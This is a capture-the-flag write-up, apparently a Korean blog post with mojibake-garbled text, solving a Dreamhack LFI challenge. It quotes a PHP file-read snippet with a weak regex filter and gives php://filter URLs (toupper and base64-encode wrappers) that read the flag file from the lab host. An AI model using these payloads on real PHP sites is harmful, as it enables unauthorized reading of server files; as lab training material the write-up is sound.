https://dreamhack.io/wargame/challenges/46
๋ฌธ์ ์ค๋ช
php๋ก ์์ฑ๋ Back Office ์๋น์ค์ ๋๋ค.
LFI ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ /var/www/uploads/flag.php์ ์์ต๋๋ค.
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
ํ์ผ์ด ์ฌ๋ฌ๊ฐ ์๊ธด ํ์ง๋ง..!
ํํธ๊ฐ ๋๋ ์ฝ๋๋ view.php ์ด๋ค
ํ์ด
php๋ก ๋ง๋ค์ด์ง ์ฌ์ดํธ๋ LFI ๋ก ์ ๊ทผ ๊ฐ๋ฅํ๋ค
https://opentutorials.org/module/4291/26819
๊ฐ๋จํ ์์ฝํ๋ฉด php ๋ก ๋ง๋ค์ด์ง ์ฌ์ดํธ๋
{url}?page=view&file={๊ฒฝ๋ก}
์ ํํ๋ก ํด๋น ๊ฒฝ๋ก์ ์๋ ํ์ผ์ ๋ก๋ํ๊ฒ ๋๋ค
๋ค๋ง ์ต์ํ์ ๋ณด์์ฅ์น๋ ๋์ด์๋ค
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
preg_match ํจํด์ด ์ผ์นํ๋์ง๋ฅผ ๋ฐ์ง๊ธฐ ๋๋ฌธ์ "flag" ๋ผ๋ ๋จ์ด๊ฐ ํฌํจ๋๊ธฐ๋ง ํ๋ฉด
๋๋ฌธ์ ์๋ฌธ์ ์๊ด์์ด (i๊ฐ ๊ทธ ์ญํ )
Permission denied ๊ฐ ๋จ๋๊ฒ..
์ด์ ์์ ์ธ๊ธํ lfi ๋ฅผ ์ด์ฉํ์
๊ฐ์์ ๋์์๋๋๋ก
http://host3.dreamhack.games:23763/?page=php://filter/read=string.toupper/resource=/var/www/uploads/flag
๋ฅผ ์ ๋ ฅํด์ ์ ์ํ๋๋
CAN YOU SEE $FLAG ๋ง ๋์จ๋ค
์ด๋ฒ์ ์ ๋งํฌ์ ๋์์๋๋๋ก
http://host3.dreamhack.games:23763/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
๋ฅผ ์ ๋ ฅํด๋ณด์
base64๋ก ์ธ์ฝ๋ฉ๋ ์ฝ๋๊ฐ ๋์๋ค
ํด์ํด๋ณด์
๋
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack] ๋๋ฆผํต ์นํดํน : ex-reg-ex (0) | 2023.11.06 |
---|---|
[Dreamhack] ๋๋ฆผํต ์นํดํน : Flying Chars (2) | 2023.11.03 |
[Dreamhack] ๋๋ฆผํต ์นํดํน : proxy-1 (1) | 2023.10.16 |
[DreamHack] ๋๋ฆผํต ์นํดํน : session (0) | 2023.09.11 |
[DreamHack] ๋๋ฆผํต ์นํดํน : pathtraversal (0) | 2023.08.14 |